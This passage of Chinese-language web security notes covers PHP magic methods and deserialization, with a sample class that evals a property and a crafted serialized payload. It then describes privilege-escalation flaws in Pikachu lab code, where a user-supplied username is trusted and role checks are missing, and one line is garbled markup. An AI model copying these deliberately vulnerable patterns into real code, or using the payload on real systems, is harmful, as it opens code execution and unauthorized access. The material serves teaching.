__callStatic() //在静态上下⽂中调⽤不可访问的⽅法时触发
__get() //⽤于从不可访问的属性读取数据或者不存在这个键都会调⽤此⽅法
__set() //⽤于将数据写⼊不可访问的属性
__isset() //在不可访问的属性上调⽤isset()或empty()触发
__unset() //在不可访问的属性上使⽤unset()时触发
__toString() //把类当作字符串使⽤时触发
__invoke() //当尝试将对象调⽤为函数时触发
如果反序列化的字符串被⽤户可控,攻击者则有可能利⽤PHP中现有的对象调⽤对应魔法函数进⾏攻击
例子
php
<?php
class magedu2
{
var $id = '1';
function __wakeup()
{
eval($this->id);
}
}
$magedu1 = newmagedu2();
print_r(serialize($magedu1));
unserialize('O:7:"magedu2":1:{s:2:"id";s:10:"phpinfo();";}');
//执⾏unserialize()时,先会调⽤这个函数,传入phpinfo();命令,由__wakeup函数执行
其他漏洞
逻辑漏洞
越权漏洞
越权是指⽤户可以进⾏超出业务设计上的权限限制的访问/操作平⾏越权: 访问/操作与当前⽤户同等权限的其他⽤户的数据
水平越权
靶场例子:
php
$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_op_login($link)){
header("location:op1_login.php");
}
$html='';
if(isset($_GET['submit']) && $_GET['username']!=null){
//没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定
$username=escape($link, $_GET['username']);
$query="select * from member where username='$username'";
$result=execute($link, $query);
...
这样导致在用户信息查询界面直接改 url 中的用户名即可实现水平越权

垂直越权
靶场例子:
(<math xmlns="http://www.w3.org/1998/Math/MathML"> S E R V E R [ ′ S E R V E R N A M E ′ ] ∗ 是 ∗ ∗ P H P 超级全局变量 ∗ ∗ ∗ _SERVER['SERVER_NAME']* 是 **PHP 超级全局变量** * </math>SERVER[′SERVERNAME′]∗是∗∗PHP超级全局变量∗∗∗_SERVER 数组中的一个键,用于获取当前运行脚本所在服务器的主机名。)
php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
$PIKA_ROOT_DIR = "../../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR.'inc/mysql.inc.php';
include_once $PIKA_ROOT_DIR.'inc/function.php';
include_once $PIKA_ROOT_DIR.'inc/config.inc.php';
$link=connect();
// 判断是否登录,没有登录不能访问
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
header("location:op2_login.php");
exit();
}
这样导致普通用户在 url 中直接访问 op2_admin_edit.php 页面就可以直接编辑所有用户

拒绝服务
URL跳转
漏洞库
可以用来练手: